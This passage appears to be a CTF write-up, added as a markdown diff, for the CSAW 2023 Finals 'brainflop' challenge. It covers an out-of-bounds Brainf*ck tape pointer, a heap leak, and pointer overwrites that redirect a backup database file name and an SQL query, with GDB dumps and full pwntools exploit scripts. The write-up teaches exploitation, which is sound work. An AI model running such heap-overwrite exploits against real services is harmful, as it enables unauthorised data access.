task_mapping;
+
+ while (true) {
+ std::cout << "\n\n[*] WHAT WOULD YOU LIKE TO DO?\n"
+ << " (1) Execute a BRAINFLOP VM (" << free_trial_left
+ << " free trials left).\n"
+ << " (2) Open an existing BRAINFLOP VM.\n"
+ << " (3) Goodbye.\n"
+ << ">> ";
+
+ if (auto in = parseNumericInput()) {
+ switch (*in) {
+ case 1:
+ if (free_trial_left == 0) {
+ std::cerr << "[!] NO MORE VMS FOR YOU!!\n";
+ break;
+ }
+ runNewTrial(id_counter, task_mapping);
+
+ id_counter++;
+ free_trial_left--;
+ break;
+
+ case 2:
+ std::cout << "[*] Enter node ID number >> ";
+ if (auto id = parseNumericInput()) {
+ if (*id > free_trial_left || *id <= 0) {
+ std::cerr << "[!] INVALID NODE ID!!\n";
+ break;
+ }
+ runOnPreviousTrial(*id, task_mapping);
+ }
+ break;
+
+ case 3:
+ std::cout << "Goodbye!\n";
+ goto finalize;
+
+ default:
+ break;
+ }
+ }
+ }
+
+finalize:
+
+ // free task map items
+ for (auto const &[id, task] : task_mapping) {
+ task->~BFTask();
+ }
+ return 0;
+}
+```
+
+The complexity made the challenge seem intimidating at first.
+There's a lot of code, [SQLite](https://www.sqlite.org/index.html) is involved, and the comment at the beginning indicates that the binary was compiled with a [Clang CFI](https://clang.llvm.org/docs/ControlFlowIntegrity.html) option that detects "Indirect call via a member function pointer with wrong dynamic type."
+The program implements an interpreter for the [Brainf\*ck](https://en.wikipedia.org/wiki/Brainfuck) esoteric language in the `BFTask` class.
+Users can create Brainf\*ck VMs, execute programs in them, and back up their state into an SQLite database in a file named `actual.db`.
+A comment suggests that there is a secret database file named `todo_delete_this.db` that we should try to read:
+
+```c++
+// TODO: delete me!
+//std::string debug_db_path = "todo_delete_this.db";
+```
+
+## Vulnerability
+
+Brainf\*ck programs operate on a "tape" consisting of an array of bytes.
+The tape is accessed through a "tape pointer" which points to one of the bytes and can be moved left or right.
+In the code, there's nothing preventing the tape pointer (called `dataPointer`) from going past the ends of the tape.
+The tape is stored on the heap in an `std::vector`, so we can leak or overwrite other data in the heap.
+I also noticed some other bugs such as the code reading and writing to the tape after calling `tape.clear()`, but we didn't need them for our solution.
+
+Our goal is to leak the `todo_delete_this.db` database, and the `BFTask::performBackup` function has code that will display the contents of the backup database.
+If we can change the file name of the backup database, then we can get the function to print out `todo_delete_this.db` instead.
+The name of the backup database file is stored in a string literal which can't be overwritten, but each `BFTask` instance has its own `db_file` member pointing to the string:
+
+```c++
+static const char *db_path = "actual.db";
+//...
+class BFTask {
+ //...
+ const char *db_file = db_path;
+ //...
+}
+```
+
+Since the `BFTask` objects are allocated on the heap, we can overwrite the `db_file` pointer in one of them to make it point to the secret database file name.
+We need to have the string `todo_delete_this.db` at a known address, which can be achieved by putting it on the heap and leaking a heap address.
+
+## Exploitation
+
+### Heap leak
+
+I created a `BFTask` and then looked for heap pointers near the tape, but I couldn't find any.
+I figured that if I cause some more heap operations then they might leave a heap poiner around, so I made the `BFTask` execute a long program first and then examined the heap near the tape.
+This time, I found a heap pointer 0x48 bytes after the start of the tape:
+
+gef➤ b BFTask::run
+Breakpoint 1 at 0x55f65411da6f
+gef➤ c
+Continuing.
+...
+BFTask::run (this=0x55f654799330, program=..., deletePreviousState=0x1)
+ at challenge.cpp:52
+52 while (instructionPointer < program.length()) {
+
+[ Legend: Modified register | Code | Heap | Stack | String ]
+───────────────────────────────────────────────────────────────── registers ────
+$rax : 0x000055f654799330 → 0x0000000500000001
+$rbx : 0x00007ffc3928a258 → 0x00007ffc3928a553 → "/home/alex/brainflop/chal/challenge_patched"
+$rcx : 0x000055f654799390 → 0x000055f654799390 → [loop detected]
+$rdx : 0x000055f654799500 → 0x0000000000000000
+$rsp : 0x00007ffc39289f40 → 0x01007ffc39289f90
+$rbp : 0x00007ffc39289f90 → 0x00007ffc3928a050 → 0x00007ffc3928a140 → 0x0000000000000001
+$rsi : 0x000055f654799514 → 0x0000004100000000
+$rdi : 0x000055f654799390 → 0x000055f654799390 → [loop detected]
+$rip : 0x000055f65411daa5 → jmp 0x55f65411daa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
+$r8 : 0x000055f654787010 → 0x0001000000010000
+$r9 : 0x7
+$r10 : 0x000055f6547992b0 → 0x000000055f654799
+$r11 : 0x246
+$r12 : 0x0
+$r13 : 0x00007ffc3928a268 → 0x00007ffc3928a57f → "SHELL=/bin/bash"
+$r14 : 0x000055f654125d58 → 0x000055f65411d570 → endbr64
+$r15 : 0x00007fabe5702000 → 0x00007fabe57032d0 → 0x000055f65411a000 → jg 0x55f65411a047
+$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
+$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
+───────────────────────────────────────────────────────────────────── stack ────
+0x00007ffc39289f40│+0x0000: 0x01007ffc39289f90 ← $rsp
+0x00007ffc39289f48│+0x0008: 0x010055f654122109
+0x00007ffc39289f50│+0x0010: 0x00007fabe5469da0 → 0x0000000000000002
+0x00007ffc39289f58│+0x0018: 0x000055f654799330 → 0x0000000500000001
+0x00007ffc39289f60│+0x0020: 0x00007ffc3928a268 → 0x00007ffc3928a57f → "SHELL=/bin/bash"
+0x00007ffc39289f68│+0x0028: 0x00007ffc3928a258 → 0x00007ffc3928a553 → "/home/alex/brainflop/chal/challenge_patched"
+0x00007ffc39289f70│+0x0030: 0x00007ffc3928a050 → 0x00007ffc3928a140 → 0x0000000000000001
+0x00007ffc39289f78│+0x0038: 0x0100000000000000
+─────────────────────────────────────────────────────────────── code:x86:64 ────
+ 0x55f65411da8f mov rax, QWORD PTR [rbp-0x38]
+ 0x55f65411da93 mov QWORD PTR [rax+0x78], 0x0
+ 0x55f65411da9b mov DWORD PTR [rax+0x80], 0x0
+ → 0x55f65411daa5 jmp 0x55f65411daa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
+ 0x55f65411daa7 mov rax, QWORD PTR [rbp-0x38]
+ 0x55f65411daab mov rax, QWORD PTR [rax+0x78]
+ 0x55f65411daaf mov QWORD PTR [rbp-0x40], rax
+ 0x55f65411dab3 mov rdi, QWORD PTR [rbp-0x10]
+ 0x55f65411dab7 call 0x55f65411d3d0 <_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv@plt>
+─────────────────────────────────────────────────── source:challenge.cpp+52 ────
+ 47 loopStack.clear();
+ 48 instructionPointer = 0;
+ 49 dataPointer = 0;
+ 50 }
+ 51
+ → 52 while (instructionPointer < program.length()) {
+ 53 char command = program[instructionPointer];
+ 54 switch (command) {
+ 55 case '>':
+ 56 incrementDataPointer();
+ 57 break;
+─────────────────────────────────────────────────────────────────── threads ────
+[#0] Id 1, Name: "challenge_patch", stopped 0x55f65411daa5 in BFTask::run (), reason: TEMPORARY BREAKPOINT
+───────────────────────────────────────────────────────────────────── trace ────
+[#0] 0x55f65411daa5 → BFTask::run(this=0x55f654799330, program=@0x7ffc39289ff8, deletePreviousState=0x1)
+[#1] 0x55f65412018a → runOnPreviousTrial(id=0x1, task_map=@0x7ffc3928a100)
+[#2] 0x55f654120843 → main()
+────────────────────────────────────────────────────────────────────────────────
+gef➤ deref tape._M_impl._M_start
+0x000055f654799500│+0x0000: 0x0000000000000000 ← $rdx
+0x000055f654799508│+0x0008: 0x0000000000000000
+0x000055f654799510│+0x0010: 0x0000000000000000
+0x000055f654799518│+0x0018: 0x0000000000000041 ("A"?)
+0x000055f654799520│+0x0020: 0x0000000000000001
+0x000055f654799528│+0x0028: 0x00007ffc3928a108 → 0x00007fab00000000
+0x000055f654799530│+0x0030: 0x0000000000000000
+0x000055f654799538│+0x0038: 0x0000000000000000
+0x000055f654799540│+0x0040: 0x0000000000000001
+0x000055f654799548│+0x0048: 0x000055f654799330 → 0x0000000500000001
+
+
+I wrote a script with a Brainf\*ck program that prints the pointer out:
+
+```python
+#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./challenge_patched")
+libc = ELF("./libc.so.6")
+ld = ELF("./ld-2.38.so")
+
+context.binary = exe
+
+if args.REMOTE:
+ r = remote("pwn.csaw.io", 9999)
+else:
+ r = process([exe.path])
+ if args.GDB:
+ gdb.attach(r)
+
+# Cause some heap allocations for leaking heap address
+r.sendlineafter(b'>> ', b'1') # Create new VM
+r.sendlineafter(b' ? ', b'n') # Disable backups
+r.sendlineafter(b'): ', b'A' * 200) # Long BF program to cause allocations
+
+# Leak heap address
+r.sendlineafter(b'>> ', b'2') # Reuse existing VM
+r.sendlineafter(b'>> ', b'1') # VM index
+r.sendlineafter(b' ? ', b'y') # Enable backups (I don't remember why)
+r.sendlineafter(b'): ', b'>' * 0x48 + b'.>' * 8) # BF program to print pointer
+leek = u64(r.recv(8))
+log.info(f'{hex(leek)=}')
+```
+
+Now we have a heap leak:
+
+[alex@ctf chal]$ ./solve.py
+...
+[+] Starting local process '/home/alex/brainflop/chal/challenge_patched': pid 2257
+[*] hex(leek)='0x5633f3846330'
+
+
+### Overwriting the database file name
+
+I used GDB to find the offset from the tape to the database file name pointer:
+
+gef➤ b BFTask::run
+Breakpoint 1 at 0x563e44046a6f
+gef➤ c
+Continuing.
+...
+BFTask::run (this=0x563e44eec560, program=..., deletePreviousState=0x0)
+ at challenge.cpp:52
+52 while (instructionPointer < program.length()) {
+
+[ Legend: Modified register | Code | Heap | Stack | String ]
+───────────────────────────────────────────────────────────────── registers ────
+$rax : 0x0000563e44eec560 → 0x0000000500000002
+$rbx : 0x00007ffc3cd4e0a8 → 0x00007ffc3cd4e553 → "/home/alex/brainflop/chal/challenge_patched"
+$rcx : 0x0000563e44eecc04 → 0x0000345100000000
+$rdx : 0x0
+$rsp : 0x00007ffc3cd4dd60 → 0x00000002001401b0
+$rbp : 0x00007ffc3cd4ddb0 → 0x00007ffc3cd4dea0 → 0x00007ffc3cd4df90 → 0x0000000000000001
+$rsi : 0x00007ffc3cd4de48 → 0x0000563e44ef0060 → "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[...]"
+$rdi : 0x0000563e44eec560 → 0x0000000500000002
+$rip : 0x0000563e44046aa5 → jmp 0x563e44046aa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
+$r8 : 0xffffffffffffffa0
+$r9 : 0x20
+$r10 : 0x0000563e44ef0050 → 0x0000000000003450 ("P4"?)
+$r11 : 0x40
+$r12 : 0x0
+$r13 : 0x00007ffc3cd4e0b8 → 0x00007ffc3cd4e57f → "SHELL=/bin/bash"
+$r14 : 0x0000563e4404ed58 → 0x0000563e44046570 → endbr64
+$r15 : 0x00007f9a70051000 → 0x00007f9a700522d0 → 0x0000563e44043000 → jg 0x563e44043047
+$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
+$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
+───────────────────────────────────────────────────────────────────── stack ────
+0x00007ffc3cd4dd60│+0x0000: 0x00000002001401b0 ← $rsp
+0x00007ffc3cd4dd68│+0x0008: 0x0000563e44eec560 → 0x0000000500000002
+0x00007ffc3cd4dd70│+0x0010: 0x00007ffc3cd4dd60 → 0x00000002001401b0
+0x00007ffc3cd4dd78│+0x0018: 0x0000563e44eec560 → 0x0000000500000002
+0x00007ffc3cd4dd80│+0x0020: 0x00007ffc3cd4e0b8 → 0x00007ffc3cd4e57f → "SHELL=/bin/bash"
+0x00007ffc3cd4dd88│+0x0028: 0x00007ffc3cd4dd50 → 0x0000000000002710
+0x00007ffc3cd4dd90│+0x0030: 0x00007ffc3cd4dd50 → 0x0000000000002710
+0x00007ffc3cd4dd98│+0x0038: 0x00007ffc3cd4dea0 → 0x00007ffc3cd4df90 → 0x0000000000000001
+─────────────────────────────────────────────────────────────── code:x86:64 ────
+ 0x563e44046a8f mov rax, QWORD PTR [rbp-0x38]
+ 0x563e44046a93 mov QWORD PTR [rax+0x78], 0x0
+ 0x563e44046a9b mov DWORD PTR [rax+0x80], 0x0
+ → 0x563e44046aa5 jmp 0x563e44046aa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
+ 0x563e44046aa7 mov rax, QWORD PTR [rbp-0x38]
+ 0x563e44046aab mov rax, QWORD PTR [rax+0x78]
+ 0x563e44046aaf mov QWORD PTR [rbp-0x40], rax
+ 0x563e44046ab3 mov rdi, QWORD PTR [rbp-0x10]
+ 0x563e44046ab7 call 0x563e440463d0 <_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv@plt>
+─────────────────────────────────────────────────── source:challenge.cpp+52 ────
+ 47 loopStack.clear();
+ 48 instructionPointer = 0;
+ 49 dataPointer = 0;
+ 50 }
+ 51
+ → 52 while (instructionPointer < program.length()) {
+ 53 char command = program[instructionPointer];
+ 54 switch (command) {
+ 55 case '>':
+ 56 incrementDataPointer();
+ 57 break;
+─────────────────────────────────────────────────────────────────── threads ────
+[#0] Id 1, Name: "challenge_patch", stopped 0x563e44046aa5 in BFTask::run (), reason: TEMPORARY BREAKPOINT
+───────────────────────────────────────────────────────────────────── trace ────
+[#0] 0x563e44046aa5 → BFTask::run(this=0x563e44eec560, program=@0x7ffc3cd4de48, deletePreviousState=0x0)
+[#1] 0x563e440466af → runNewTrial(id=0x2, task_map=@0x7ffc3cd4df50)
+[#2] 0x563e440497a4 → main()
+────────────────────────────────────────────────────────────────────────────────
+gef➤ p (void*)tape._M_impl._M_start - (void*)&db_file
+$1 = 0x650
+
+
+I made a Brainf\*ck program to overwrite the pointer, and appended the string `todo_delete_this.db` to the end.
+Then I used GEF's `grep` command to find the address of the string, and subtract the leaked heap address to find the offset that needs to be added.
+Here's the resulting script:
+
+```python
+# Overwrite database file name
+r.sendlineafter(b'>> ', b'1') # Create new VM
+r.sendlineafter(b' ? ', b'y') # Enable backups so that database will be dumped
+pl = b'<' * 0x650 + b',>' * 8 + b'todo_delete_this.db\0'
+# Pad to fixed size so heap layout doesn't change
+assert len(pl) <= 10000
+pl = pl.ljust(10000, b'A')
+r.sendlineafter(b'): ', pl)
+# Send database file name address
+for b in p64(leek + 0x1670):
+ r.sendline(bytes([b]))
+
+# Exit the program so that the backup will be performed
+r.sendlineafter(b'>> ', b'3')
+
+r.interactive()
+```
+
+When I ran this locally, the program created a `todo_delete_this.db` file, which confirms that I overwrote the database file name correctly.
+However, when I ran it on the server, the output did not contain a flag:
+
+[alex@ctf chal]$ ./solve.py REMOTE
+[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
+[*] '/home/alex/brainflop/chal/challenge_patched'
+ Arch: amd64-64-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX enabled
+ PIE: PIE enabled
+ RUNPATH: b'.'
+[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
+[*] '/home/alex/brainflop/chal/libc.so.6'
+ Arch: amd64-64-little
+ RELRO: Partial RELRO
+ Stack: Canary found
+ NX: NX enabled
+ PIE: PIE enabled
+[*] '/home/alex/brainflop/chal/ld-2.38.so'
+ Arch: amd64-64-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX enabled
+ PIE: PIE enabled
+[+] Opening connection to pwn.csaw.io on port 9999: Done
+[*] hex(leek)='0x555e886ee330'
+[*] Switching to interactive mode
+Goodbye!
+Performing backup for task 2
+TIMESTAMP = timestamp
+TAPESTATE = |
+
+TIMESTAMP = Sun Dec 31 00:46:27 2023
+
+TAPESTATE = |0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
+
+[*] Got EOF while reading in interactive
+$
+
+
+### Finding the flag
+
+This was pretty disappointing and I got stuck here for a while.
+Later, I figured that surely the `todo_delete_this.db` comment isn't just a red herring and the flag might be in a different table.
+I noticed that each `BFTask` instance has its own copy of the SQL query command stored inside an `std::string`, so we can overwrite the pointer in a similar way to make it point to our own SQL command.
+I modified the Brainf\*ck program to also overwrite the pointer to the SQL command, and [Aplet123](https://aplet.me/) gave me a query that lists the tables.
+The SQL command had to not contain any spaces, since the Brainf\*ck program was read from `std::cin` using the `>>` operator, which doesn't read whitespace.
+The script now looks like this:
+
+```python
+# Overwrite database file name and SQL query
+r.sendlineafter(b'>> ', b'1') # Create new VM
+r.sendlineafter(b' ? ', b'y') # Enable backups so that database will be dumped
+pl = b'<' * 0x650 + b',>' * 8 + b'<' * 0x30 + b',>' * 8 + b'SELECT*FROM`sqlite_master`;--todo_delete_this.db\0'
+# Pad to fixed size so heap layout doesn't change
+assert len(pl) <= 10000
+pl = pl.ljust(10000, b'A')
+r.sendlineafter(b'): ', pl)
+# Send database file name address
+for b in p64(leek + 0x16cd):
+ r.sendline(bytes([b]))
+# Send SQL query address
+for b in p64(leek + 0x25c0):
+ r.sendline(bytes([b]))
+
+# Exit the program so that the backup will be performed
+r.sendlineafter(b'>> ', b'3')
+
+r.interactive()
+```
+
+When I ran it on remote, I got a bunch of output with the flag near the end:
+
+[alex@ctf chal]$ ./solve.py REMOTE
+[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
+[*] '/home/alex/brainflop/chal/challenge_patched'
+ Arch: amd64-64-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX enabled
+ PIE: PIE enabled
+ RUNPATH: b'.'
+[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
+[*] '/home/alex/brainflop/chal/libc.so.6'
+ Arch: amd64-64-little
+ RELRO: Partial RELRO
+ Stack: Canary found
+ NX: NX enabled
+ PIE: PIE enabled
+[*] '/home/alex/brainflop/chal/ld-2.38.so'
+ Arch: amd64-64-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX enabled
+ PIE: PIE enabled
+[+] Opening connection to pwn.csaw.io on port 9999: Done
+[*] hex(leek)='0x5557cfd4f330'
+[*] Switching to interactive mode
+Goodbye!
+Performing backup for task 2
+type = table
+name = brainflop
+tbl_name = brainflop
+rootpage = 2
+sql = CREATE TABLE brainflop(
+ ID INT PRIMARY KEY,
+ TASKID INT NOT NULL,
+ TIMESTAMP TEXT NOT NULL,
+ TAPESTATE TEXT NOT NULL
+ )
+
+type = index
+name = sqlite_autoindex_brainflop_1
+tbl_name = brainflop
+rootpage = 3
+sql = NULL
+
+type = table
+name = pastablorf
+tbl_name = pastablorf
+rootpage = 4
+sql = CREATE TABLE pastablorf(DATA TEXT)
+
+type = table
+name = blamfogg
+tbl_name = blamfogg
+rootpage = 5
+sql = CREATE TABLE blamfogg(DATA TEXT)
+
+type = table
+name = qubblezop
+tbl_name = qubblezop
+rootpage = 6
+sql = CREATE TABLE qubblezop(DATA TEXT)
+
+type = table
+name = quasarquirk
+tbl_name = quasarquirk
+rootpage = 7
+sql = CREATE TABLE quasarquirk(DATA TEXT)
+
+type = table
+name = heartworp
+tbl_name = heartworp
+rootpage = 8
+sql = CREATE TABLE heartworp(DATA TEXT)
+
+type = table
+name = cuzarblonk
+tbl_name = cuzarblonk
+rootpage = 9
+sql = CREATE TABLE cuzarblonk(DATA TEXT)
+
+type = table
+name = flutterquap
+tbl_name = flutterquap
+rootpage = 10
+sql = CREATE TABLE flutterquap(DATA TEXT)
+
+type = table
+name = glrixatorb
+tbl_name = glrixatorb
+rootpage = 11
+sql = CREATE TABLE glrixatorb(DATA TEXT)
+
+type = table
+name = queezlepoff
+tbl_name = queezlepoff
+rootpage = 12
+sql = CREATE TABLE queezlepoff(DATA TEXT)
+
+type = table
+name = gazorpazorp
+tbl_name = gazorpazorp
+rootpage = 13
+sql = CREATE TABLE gazorpazorp(DATA TEXT)
+
+type = table
+name = nogglyblomp
+tbl_name = nogglyblomp
+rootpage = 14
+sql = CREATE TABLE nogglyblomp(DATA TEXT)
+
+type = trigger
+name = hide_corp_secrets
+tbl_name = brainflop
+rootpage = 0
+sql = CREATE TRIGGER hide_corp_secrets
+ AFTER INSERT ON brainflop
+ BEGIN
+ UPDATE heartworp SET DATA = replace(DATA, "csawctf{ur_sup3r_d4ta_B4S3D!!}", "wowzers you're too late!");
+ END
+
+[*] Got EOF while reading in interactive
+$
+
+
+Full solve script:
+
+```python
+#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./challenge_patched")
+libc = ELF("./libc.so.6")
+ld = ELF("./ld-2.38.so")
+
+context.binary = exe
+
+if args.REMOTE:
+ r = remote("pwn.csaw.io", 9999)
+else:
+ r = process([exe.path])
+ if args.GDB:
+ gdb.attach(r)
+
+# Cause some heap allocations for leaking heap address
+r.sendlineafter(b'>> ', b'1') # Create new VM
+r.sendlineafter(b' ? ', b'n') # Disable backups
+r.sendlineafter(b'): ', b'A' * 200) # Long BF program to cause allocations
+
+# Leak heap address
+r.sendlineafter(b'>> ', b'2') # Reuse existing VM
+r.sendlineafter(b'>> ', b'1') # VM index
+r.sendlineafter(b' ? ', b'y') # Enable backups (I don't remember why)
+r.sendlineafter(b'): ', b'>' * 0x48 + b'.>' * 8) # BF program to print pointer
+leek = u64(r.recv(8))
+log.info(f'{hex(leek)=}')
+
+# Overwrite database file name and SQL query
+r.sendlineafter(b'>> ', b'1') # Create new VM
+r.sendlineafter(b' ? ', b'y') # Enable backups so that database will be dumped
+pl = b'<' * 0x650 + b',>' * 8 + b'<' * 0x30 + b',>' * 8 + b'SELECT*FROM`sqlite_master`;--todo_delete_this.db\0'
+# Pad to fixed size so heap layout doesn't change
+assert len(pl) <= 10000
+pl = pl.ljust(10000, b'A')
+r.sendlineafter(b'): ', pl)
+# Send database file name address
+for b in p64(leek + 0x16cd):
+ r.sendline(bytes([b]))
+# Send SQL query address
+for b in p64(leek + 0x25c0):
+ r.sendline(bytes([b]))
+
+# Exit the program so that the backup will be performed
+r.sendlineafter(b'>> ', b'3')
+
+r.interactive()
+```
+
+# Conclusion
+
+When I read the [challenge author's solution](https://github.com/osirislab/CSAW-CTF-2023-Finals/tree/main/pwn/brainflop#solution), I realized that we had solved this challenge in a way that was a bit easier than intended.
+The author did some heap feng shui to make overwriting the file name pointer possible, but I didn't need any of that.
+Padding the program to a fixed size probably helped a lot.
+Also, it looks like we were supposed to do a bit of detective work to find the flag in the database after overwriting the SQL query.
+The flag was in one of several tables with random names and it had been overwritten using an SQL trigger, but we just dumped the whole `sqlite_master` table which had the flag inside.
+Maybe the author should have had some other people test solve this challenge.